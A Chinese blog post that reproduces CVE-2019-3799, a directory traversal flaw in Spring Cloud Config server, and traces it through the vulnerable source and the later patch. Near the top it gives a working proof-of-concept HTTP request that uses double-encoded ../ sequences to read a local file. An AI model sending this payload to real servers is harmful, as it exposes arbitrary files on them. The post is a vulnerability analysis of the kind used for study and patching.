CVE-2019-3799spring-cloud-config 目录穿越漏洞复现

CVE-2019-3799spring-cloud-config 目录穿越漏洞复现

目前受影响的 Spring Cloud Config 版本:
  • Spring Cloud Config 2.1.0 ~ 2.1.1
  • Spring Cloud Config 2.0.0 ~ 2.0.3
  • Spring Cloud Config 1.4.0 ~ 1.4.5
先放 poc:
GET /aaaa/aaaa/master/..%252F..%252F..%252F..%252F..%252F..%252FTemp%252F1.txt HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

本地测试是在 windows 下,%252F 的数量可以根据系统和目录的不同进行增减。

为了展示更好的利用效果,我们在 C:\Temp 目录下建一个 1.txt,内容为 test。 发送利用代码: 漏洞源码下载地址: https://github.com/spring-cloud/spring-cloud-config/releases/tag/v2.1.0.RELEASE

用 IDEA 打开 spring-cloud-config-server 的目录,spring-cloud-config 分为 server 端和 client 端,该漏洞是爆发在 server 端,所以打开的是 server 端的源码。断点在图中 ResourceController.java 的 77 行。

发送 POC,发现断点捕捉成功。

根据@RequestMapping("/{name}/{profile}/{label}/**")可知,我们的路由是符合这个 action 的。 跟踪代码。 这块我们仔细讲下有几个函数下面的底层实现逻辑。

@RequestMapping("/{name}/{profile}/{label}/**")
 public String retrieve(@PathVariable String name, @PathVariable String profile,
   @PathVariable String label, HttpServletRequest request,
   @RequestParam(defaultValue = "true") boolean resolvePlaceholders)
   throws IOException {
  String path = getFilePath(request, name, profile, label);
  return retrieve(name, profile, label, path, resolvePlaceholders);
 }

看下 getFilePath 的实现。

private String getFilePath(HttpServletRequest request, String name, String profile,
 String label) {
String stem;
if(label != null ) {
 stem = String.format("/%s/%s/%s/", name, profile, label);
}else {
 stem = String.format("/%s/%s/", name, profile);
}
String path = this.helper.getPathWithinApplication(request);
path = path.substring(path.indexOf(stem) + stem.length());
return path;
}

直接来到 return,可以看到 IDEA 帮我们把变量的数值都已经计算出来了。通过 return 的 path 可知,这个 getFilePath 是用来获得 POC 里 URI 路径里的最后一段内容..%252F..%252F..%252F..%252F..%252F..%252FTemp%252F1.txt

回到上级代码,进入retrieve函数的实现:

synchronized String retrieve(String name, String profile, String label, String path,
   boolean resolvePlaceholders) throws IOException {
  if (name != null && name.contains("(_)")) {
   // "(_)" is uncommon in a git repo name, but "/" cannot be matched
   // by Spring MVC
   name = name.replace("(_)", "/");
  }
  if (label != null && label.contains("(_)")) {
   // "(_)" is uncommon in a git branch name, but "/" cannot be matched
   // by Spring MVC
   label = label.replace("(_)", "/");
  }

  // ensure InputStream will be closed to prevent file locks on Windows
  try (InputStream is = this.resourceRepository.findOne(name, profile, label, path)
    .getInputStream()) {
   String text = StreamUtils.copyToString(is, Charset.forName("UTF-8"));
   if (resolvePlaceholders) {
    Environment environment = this.environmentRepository.findOne(name,
      profile, label);
    text = resolvePlaceholders(prepareEnvironment(environment), text);
   }
   return text;
  }
 }

根据源码可知,前两个 if 是用来替换目录中含有(_)/的逻辑,一个替换 name 位置,一个替换 label 位置,直接来到 try 位置。看看 IDEA 告诉我们 name 和 label 具体对应的是什么。

来到 try,可以看到这个 try 有点不太一样,是try(){}的形式,可以查一下资料: https://blog.csdn.net/qq_33543634/article/details/80725899 可知: 简单来说,()里的内容比 {}先执行,进入 find0ne 方法:

public synchronized Resource findOne(String application, String profile, String label,
   String path) {
  String[] locations = this.service.getLocations(application, profile, label).getLocations();
  try {
   for (int i = locations.length; i-- > 0;) {
    String location = locations[i];
    for (String local : getProfilePaths(profile, path)) {
     Resource file = this.resourceLoader.getResource(location)
       .createRelative(local);
     if (file.exists() && file.isReadable()) {
      return file;
     }
    }
   }
  }
  catch (IOException e) {
   throw new NoSuchResourceException(
     "Error : " + path + ". (" + e.getMessage() + ")");
  }
  throw new NoSuchResourceException("Not found: " + path);
 }

来到if (file.exists() && file.isReadable()) {, 看下循环的getProfilePaths(profile, path)的内容,是个数组,数组第一个不符合要求,第二个符合我们要读的文件内容: 循环来到第二个 local ..%2F..%2F..%2F..%2F..%2F..%2FTemp%2F1.txt 进入 if 判断,如果文件存在,且可以 read,就会返回 file。

这时候已经把读出来的内容复制到 text 内容返回了。

最后展示到了返回值里。 整个漏洞流程就是这么个逻辑。

我们来看下补丁是怎么打的。在 2.1.2 代码与 2.1.0 代码进行比较。

@Override
 public synchronized Resource findOne(String application, String profile, String label,
   String path) {

  if (StringUtils.hasText(path)) {
   String[] locations = this.service.getLocations(application, profile, label)
     .getLocations();
   try {
    for (int i = locations.length; i-- > 0;) {
     String location = locations[i];
     for (String local : getProfilePaths(profile, path)) {
      if (!isInvalidPath(local) && !isInvalidEncodedPath(local)) {
       Resource file = this.resourceLoader.getResource(location)
         .createRelative(local);
       if (file.exists() && file.isReadable()) {
        return file;
       }
      }
     }
    }
   }
   catch (IOException e) {
    throw new NoSuchResourceException(
      "Error : " + path + ". (" + e.getMessage() + ")");
   }
  }
  throw new NoSuchResourceException("Not found: " + path);
 }

多了isInvalidPathisInvalidEncodedPath,去看下这个两个函数的源码:

protected boolean isInvalidPath(String path) {
  if (path.contains("WEB-INF") || path.contains("META-INF")) {
   if (logger.isWarnEnabled()) {
    logger.warn("Path with \"WEB-INF\" or \"META-INF\": [" + path + "]");
   }
   return true;
  }
  if (path.contains(":/")) {
   String relativePath = (path.charAt(0) == '/' ? path.substring(1) : path);
   if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
    if (logger.isWarnEnabled()) {
     logger.warn(
       "Path represents URL or has \"url:\" prefix: [" + path + "]");
    }
    return true;
   }
  }
  if (path.contains("..") && StringUtils.cleanPath(path).contains("../")) {
   if (logger.isWarnEnabled()) {
    logger.warn("Path contains \"../\" after call to StringUtils#cleanPath: ["
      + path + "]");
   }
   return true;
  }
  return false;
 }
private boolean isInvalidEncodedPath(String path) {
  if (path.contains("%")) {
   try {
    // Use URLDecoder (vs UriUtils) to preserve potentially decoded UTF-8
    // chars
    String decodedPath = URLDecoder.decode(path, "UTF-8");
    if (isInvalidPath(decodedPath)) {
     return true;
    }
    decodedPath = processPath(decodedPath);
    if (isInvalidPath(decodedPath)) {
     return true;
    }
   }
   catch (IllegalArgumentException | UnsupportedEncodingException ex) {
    // Should never happen...
   }
  }
  return false;
 }

对一些目录和字符串进行了过滤。

本文使用 mdnice 排版

posted @ 2020-06-18 14:16  ph4nt0mer  阅读(1698)  评论(0编辑  收藏  举报